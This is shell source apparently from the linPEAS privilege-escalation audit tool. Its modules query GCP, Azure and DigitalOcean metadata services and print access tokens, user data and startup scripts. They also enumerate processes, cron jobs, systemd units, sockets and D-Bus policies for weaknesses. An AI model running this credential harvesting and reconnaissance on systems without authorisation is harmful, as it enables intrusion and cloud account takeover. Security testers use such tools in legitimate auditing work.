[ "$inst_id" ] && echo "Instance ID: $inst_id"
inst_img=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/image)
[ "$inst_img" ] && echo "Instance Image: $inst_img"
inst_mt=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/machine-type)
[ "$inst_mt" ] && echo "Machine Type: $inst_mt"
inst_n=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/name)
[ "$inst_n" ] && echo "Instance Name: $inst_n"
inst_tag=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/scheduling/tags)
[ "$inst_tag" ] && echo "Instance tags: $inst_tag"
inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone)
[ "$inst_zone" ] && echo "Zone: $inst_zone"
inst_k8s_loc=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-location")
[ "$inst_k8s_loc" ] && echo "K8s Cluster Location: $inst_k8s_loc"
inst_k8s_name=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-name")
[ "$inst_k8s_name" ] && echo "K8s Cluster name: $inst_k8s_name"
inst_k8s_osl_e=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/enable-oslogin")
[ "$inst_k8s_osl_e" ] && echo "K8s OSLoging enabled: $inst_k8s_osl_e"
inst_k8s_klab=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-labels")
[ "$inst_k8s_klab" ] && echo "K8s Kube-labels: $inst_k8s_klab"
inst_k8s_kubec=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kubeconfig")
[ "$inst_k8s_kubec" ] && echo "K8s Kubeconfig: $inst_k8s_kubec"
inst_k8s_kubenv=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env")
[ "$inst_k8s_kubenv" ] && echo "K8s Kube-env: $inst_k8s_kubenv"
echo ""
print_3title "Interfaces"
for iface in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
echo ""
print_3title "User Data"
echo $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script")
echo ""
echo ""
print_3title "Service Accounts"
for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/email")
echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/aliases")
echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/identity")
echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g"
echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/token")
echo " ============== "
done
fi
echo ""
fi

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# Title: Cloud - Azure VM
# ID: CL_Azure_VM
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Azure VM Enumeration
# License: GNU GPL
# Version: 1.0
# Functions Used: check_az_vm, exec_with_jq, print_2title, print_3title
# Global Variables: $is_az_vm
# Initial Functions: check_az_vm
# Generated Global Variables: $API_VERSION, $HEADER, $az_req, $URL
# Fat linpeas: 0
# Small linpeas: 1
if [ "$is_az_vm" = "Yes" ]; then
print_2title "Azure VM Enumeration"
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
az_req=""
if [ "$(command -v curl || echo -n '')" ]; then
az_req="curl -s -f -L -H '$HEADER'"
elif [ "$(command -v wget || echo -n '')" ]; then
az_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$az_req" ]; then
print_3title "Instance details"
exec_with_jq eval $az_req "$URL/instance?api-version=$API_VERSION"
print_3title "Load Balancer details"
exec_with_jq eval $az_req "$URL/loadbalancer?api-version=$API_VERSION"
print_3title "Management token"
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://management.azure.com/"
print_3title "Graph token"
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://graph.microsoft.com/"
print_3title "Vault token"
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://vault.azure.net/"
print_3title "Storage token"
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://storage.azure.com/"
fi
echo ""
fi

47
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# Title: Cloud - Azure App Service
# ID: CL_Azure_app_service
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Azure App Service Enumeration
# License: GNU GPL
# Version: 1.0
# Functions Used: check_az_app, exec_with_jq, print_2title, print_3title
# Global Variables: $is_az_app,
# Initial Functions: check_az_app
# Generated Global Variables: $API_VERSION, $HEADER, $az_req
# Fat linpeas: 0
# Small linpeas: 0
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
if [ "$is_az_app" = "Yes" ]; then
print_2title "Azure App Service Enumeration"
echo "I haven't tested this one, if it doesn't work, please send a PR fixing and adding functionality :)"
HEADER="secret:$IDENTITY_HEADER"
az_req=""
if [ "$(command -v curl || echo -n '')" ]; then
az_req="curl -s -f -L -H '$HEADER'"
elif [ "$(command -v wget || echo -n '')" ]; then
az_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$az_req" ]; then
print_3title "Management token"
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://management.azure.com/"
print_3title "Graph token"
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://graph.microsoft.com/"
print_3title "Vault token"
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://vault.azure.net/"
print_3title "Storage token"
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://storage.azure.com/"
fi
echo ""
fi

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# Title: Cloud - DO Droplet
# ID: CL_DO_Droplet
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: DO Droplet Enumeration
# License: GNU GPL
# Version: 1.0
# Functions Used: check_do, print_2title
# Global Variables: $is_do
# Initial Functions: check_do
# Generated Global Variables: $do_req, $URL
# Fat linpeas: 0
# Small linpeas: 1
if [ "$is_do" = "Yes" ]; then
print_2title "DO Droplet Enumeration"
do_req=""
if [ "$(command -v curl || echo -n '')" ]; then
do_req='curl -s -f -L '
elif [ "$(command -v wget || echo -n '')" ]; then
do_req='wget -q -O - '
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$do_req" ]; then
URL="http://169.254.169.254/metadata"
printf "Id: "; eval $do_req "$URL/v1/id"; echo ""
printf "Region: "; eval $do_req "$URL/v1/region"; echo ""
printf "Public keys: "; eval $do_req "$URL/v1/public-keys"; echo ""
printf "User data: "; eval $do_req "$URL/v1/user-data"; echo ""
printf "Dns: "; eval $do_req "$URL/v1/dns/nameservers" | tr '\n' ','; echo ""
printf "Interfaces: "; eval $do_req "$URL/v1.json" | jq ".interfaces";
printf "Floating_ip: "; eval $do_req "$URL/v1.json" | jq ".floating_ip";
printf "Reserved_ip: "; eval $do_req "$URL/v1.json" | jq ".reserved_ip";
printf "Tags: "; eval $do_req "$URL/v1.json" | jq ".tags";
printf "Features: "; eval $do_req "$URL/v1.json" | jq ".features";
fi
echo ""
fi

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####################################################
#-----) Processes & Cron & Services & Timers (-----#
####################################################
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PCS) Cleaned proccesses
print_2title "Cleaned processes"
if [ "$NOUSEPS" ]; then
printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC
fi
print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
if [ -f "/etc/fstab" ] && cat /etc/fstab | grep -q "hidepid=2"; then
echo "Looks like /etc/fstab has hidepid=2, so ps will not show processes of other users"
fi
if [ "$NOUSEPS" ]; then
print_ps | grep -v 'sed-Es' | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
pslist=$(print_ps)
else
(ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do
echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
if [ "$(command -v capsh)" ] && ! echo "$psline" | grep -q root; then
cpid=$(echo "$psline" | awk '{print $2}')
caphex=0x"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')"
if [ "$caphex" ] && [ "$caphex" != "0x" ] && echo "$caphex" | grep -qv '0x0000000000000000'; then
printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | grep -v "WARNING:" | sed -${E} "s,$capsB,${SED_RED},g"
fi
fi
done
pslist=$(ps auxwww)
echo ""
#-- PCS) Binary processes permissions
print_2title "Binary processes permissions (non 'root root' and not belonging to current user)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
binW="IniTialiZZinnggg"
ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do
if [ -w "$bpath" ]; then
binW="$binW|$bpath"
fi
done
ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN},"
fi
echo ""
fi
CURRENT_USER_PIVOT_PID=""
if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$NOUSEPS" ]; then
#-- PCS) Process opened by other users
print_2title "Processes whose PPID belongs to a different user (not root)"
print_info "You will know if a user can somehow spawn processes as a different user"
# Function to get user by PID
get_user_by_pid() {
ps -p "$1" -o user | grep -v "USER"
}
# Find processes with PPID and user info, then filter those where PPID's user is different from the process's user
ps -eo pid,ppid,user | grep -v "PPID" | while read -r pid ppid user; do
if [ "$ppid" = "0" ]; then
continue
fi
ppid_user=$(get_user_by_pid "$ppid")
if echo "$user" | grep -Eqv "$ppid_user|root$"; then
echo "Proc $pid with ppid $ppid is run by user $user but the ppid user is $ppid_user" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
if [ "$ppid_user" = "$USER" ]; then
CURRENT_USER_PIVOT_PID="$ppid"
fi
fi
done
echo ""
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PCS) Files opened by processes belonging to other users
if ! [ "$IAMROOT" ]; then
print_2title "Files opened by processes belonging to other users"
print_info "This is usually empty because of the lack of privileges to read other user processes information"
lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
echo ""
fi
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PCS) Processes with credentials inside memory
print_2title "Processes with credentials in memory (root req)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#credentials-from-process-memory"
if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi
if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi
if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi
if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi
if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi
if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi
echo ""
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PCS) Different processes 1 min
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then
print_2title "Different processes executed during 1 min (interesting is low number of repetitions)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs"
temp_file=$(mktemp)
if [ "$(ps -e -o user,command 2>/dev/null)" ]; then
for i in $(seq 1 1210); do
ps -e -o user,command >> "$temp_file" 2>/dev/null; sleep 0.05;
done;
sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},";
rm "$temp_file";
fi
echo ""
fi
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PCS) Cron
print_2title "Cron jobs"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
command -v crontab 2>/dev/null || echo_not_found "crontab"
crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
command -v incrontab 2>/dev/null || echo_not_found "incrontab"
incrontab -l 2>/dev/null
ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g"
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
crontab -l -u "$USER" 2>/dev/null | tr -d "\r"
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths
atq 2>/dev/null
else
print_2title "Cron jobs"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
find "$SEARCH_IN_FOLDER" '(' -type d -or -type f ')' '(' -name "cron*" -or -name "anacron" -or -name "anacrontab" -or -name "incron.d" -or -name "incron" -or -name "at" -or -name "periodic" ')' -exec echo {} \; -exec ls -lR {} \;
fi
echo ""
if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ "$MACPEAS" ]; then
print_2title "Third party LaunchAgents & LaunchDemons"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd"
ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null
echo ""
print_2title "Writable System LaunchAgents & LaunchDemons"
find /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/ /Library/LaunchAgents/ /Library/LaunchDaemons/ | grep ".plist" | while read f; do
program=""
program=$(defaults read "$f" Program 2>/dev/null)
if ! [ "$program" ]; then
program=$(defaults read "$f" ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2)
fi
if [ -w "$program" ]; then
echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},";
fi
done
echo ""
print_2title "StartupItems"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#startup-items"
ls -l /Library/StartupItems/ /System/Library/StartupItems/ 2>/dev/null
echo ""
print_2title "Login Items"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#login-items"
osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null
echo ""
print_2title "SPStartupItemDataType"
system_profiler SPStartupItemDataType
echo ""
print_2title "Emond scripts"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond"
ls -l /private/var/db/emondClients
echo ""
fi
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PCS) Services
if [ "$EXTRA_CHECKS" ]; then
print_2title "Services"
print_info "Search for outdated versions"
(service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl"
echo ""
fi
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PSC) systemd PATH
print_2title "Systemd PATH"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#systemd-path-relative-paths"
systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g"
WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders")
echo ""
fi
#-- PSC) .service files
#TODO: .service files in MACOS are folders
print_2title "Analyzing .service files"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services"
printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do
if [ ! -O "$s" ] || [ "$SEARCH_IN_FOLDER" ]; then #Remove services that belongs to the current user or if firmware see everything
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
echo "$s" | sed -${E} "s,.*,${SED_RED_YELLOW},g"
fi
servicebinpaths=$(grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') #Get invoked paths
printf "%s\n" "$servicebinpaths" | while read sp; do
if [ -w "$sp" ]; then
echo "$s is calling this writable executable: $sp" | sed "s,writable.*,${SED_RED_YELLOW},g"
fi
done
relpath1=$(grep -E '^Exec.*=(?:[^/]|-[^/]|\+[^/]|![^/]|!![^/]|)[^/@\+!-].*' "$s" 2>/dev/null | grep -Iv "=/")
relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' "$s" 2>/dev/null)
if [ "$relpath1" ] || [ "$relpath2" ]; then
if [ "$WRITABLESYSTEMDPATH" ]; then
echo "$s could be executing some relative path" | sed -${E} "s,.*,${SED_RED},";
else
echo "$s could be executing some relative path"
fi
fi
fi
done
if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${SED_GREEN},"; fi
echo ""
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PSC) Timers
print_2title "System timers"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
(systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found
echo ""
fi
#-- PSC) .timer files
print_2title "Analyzing .timer files"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
printf "%s\n" "$PSTORAGE_TIMER" | while read t; do
if ! [ "$IAMROOT" ] && [ -w "$t" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
echo "$t" | sed -${E} "s,.*,${SED_RED},g"
fi
timerbinpaths=$(grep -Po '^Unit=*(.*?$)' $t 2>/dev/null | cut -d '=' -f2)
printf "%s\n" "$timerbinpaths" | while read tb; do
if [ -w "$tb" ]; then
echo "$t timer is calling this writable executable: $tb" | sed "s,writable.*,${SED_RED},g"
fi
done
#relpath="`grep -Po '^Unit=[^/].*' \"$t\" 2>/dev/null`"
#for rp in "$relpath"; do
# echo "$t is calling a relative path: $rp" | sed "s,relative.*,${SED_RED},g"
#done
done
echo ""
#-- PSC) .socket files
#TODO: .socket files in MACOS are folders
if ! [ "$IAMROOT" ]; then
print_2title "Analyzing .socket files"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g"
fi
socketsbinpaths=$(grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
printf "%s\n" "$socketsbinpaths" | while read sb; do
if [ -w "$sb" ]; then
echo "$s is calling this writable executable: $sb" | sed "s,writable.*,${SED_RED},g"
fi
done
socketslistpaths=$(grep -Eo '^(Listen).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
printf "%s\n" "$socketslistpaths" | while read sl; do
if [ -w "$sl" ]; then
echo "$s is calling this writable listener: $sl" | sed "s,writable.*,${SED_RED},g";
fi
done
done
echo ""
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Unix Sockets Listening"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
# Search sockets using netstat and ss
unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1)
if ! [ "$unix_scks_list" ];then
unix_scks_list=$(ss -l -p -A 'unix' 2>/dev/null | grep -Ei "listen|Proc" | grep -Eo "/[a-zA-Z0-9\._/\-]+")
fi
if ! [ "$unix_scks_list" ];then
unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2)
fi
unix_scks_list3=$(lsof -U 2>/dev/null | awk '{print $9}' | grep "/")
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
# But also search socket files
unix_scks_list2=$(find / -type s 2>/dev/null)
else
unix_scks_list2=$(find "SEARCH_IN_FOLDER" -type s 2>/dev/null)
fi
# Detele repeated dockets and check permissions
(printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2" && printf "%s\n" "$unix_scks_list3") | sort | uniq | while read l; do
perms=""
if [ -r "$l" ]; then
perms="Read "
fi
if [ -w "$l" ];then
perms="${perms}Write"
fi
if [ "$EXTRA_CHECKS" ] && [ "$(command -v curl)" ]; then
CANNOT_CONNECT_TO_SOCKET="$(curl -v --unix-socket "$l" --max-time 1 http:/linpeas 2>&1 | grep -i 'Permission denied')"
if ! [ "$CANNOT_CONNECT_TO_SOCKET" ]; then
perms="${perms} - Can Connect"
else
perms="${perms} - Cannot Connect"
fi
fi
if ! [ "$perms" ]; then echo "$l" | sed -${E} "s,$l,${SED_GREEN},g";
else
echo "$l" | sed -${E} "s,$l,${SED_RED},g"
echo " └─(${RED}${perms}${NC})" | sed -${E} "s,Cannot Connect,${SED_GREEN},g"
# Try to contact the socket
socketcurl=$(curl --max-time 2 --unix-socket "$s" http:/index 2>/dev/null)
if [ $? -eq 0 ]; then
owner=$(ls -l "$s" | cut -d ' ' -f 3)
echo "Socket $s owned by $owner uses HTTP. Response to /index: (limt 30)" | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g"
echo "$socketcurl" | head -n 30
fi
fi
done
echo ""
fi
#-- PSC) Writable and weak policies in D-Bus config files
print_2title "D-Bus config files"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus"
if [ "$PSTORAGE_DBUS" ]; then
printf "%s\n" "$PSTORAGE_DBUS" | while read d; do
for f in $d/*; do
if ! [ "$IAMROOT" ] && [ -w "$f" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
echo "Writable $f" | sed -${E} "s,.*,${SED_RED},g"
fi
genpol=$(grep "<policy>" "$f" 2>/dev/null)
if [ "$genpol" ]; then printf "Weak general policy found on $f ($genpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
#if [ "`grep \"<policy user=\\\"$USER\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak user policy found on $f () \n" | sed "s,$USER,${SED_RED},g"; fi
userpol=$(grep "<policy user=" "$f" 2>/dev/null | grep -v "root")
if [ "$userpol" ]; then printf "Possible weak user policy found on $f ($userpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
#for g in `groups`; do
# if [ "`grep \"<policy group=\\\"$g\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak group ($g) policy found on $f\n" | sed "s,$g,${SED_RED},g"; fi
#done
grppol=$(grep "<policy group=" "$f" 2>/dev/null | grep -v "root")
if [ "$grppol" ]; then printf "Possible weak user policy found on $f ($grppol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
#TODO: identify allows in context="default"
done
done
fi
echo ""
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "D-Bus Service Objects list"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus"
dbuslist=$(busctl list 2>/dev/null)
if [ "$dbuslist" ]; then
busctl list | while read line; do
echo "$line" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},";
if ! echo "$line" | grep -qE "$dbuslistG"; then
srvc_object=$(echo $line | cut -d " " -f1)
srvc_object_info=$(busctl status "$srvc_object" 2>/dev/null | grep -E "^UID|^EUID|^OwnerUID" | tr '\n' ' ')
if [ "$srvc_object_info" ]; then
echo " -- $srvc_object_info" | sed "s,UID=0,${SED_RED},"
fi
fi
done
else echo_not_found "busctl"
fi
fi

21
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# Title: Processes & Cron & Services & Timers - System Timers
# ID: PR_System_timers
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: System Timers
# License: GNU GPL
# Version: 1.0
# Functions Used: echo_not_found, print_2title, print_info
# Global Variables: $SEARCH_IN_FOLDER, $timersG
# Initial Functions:
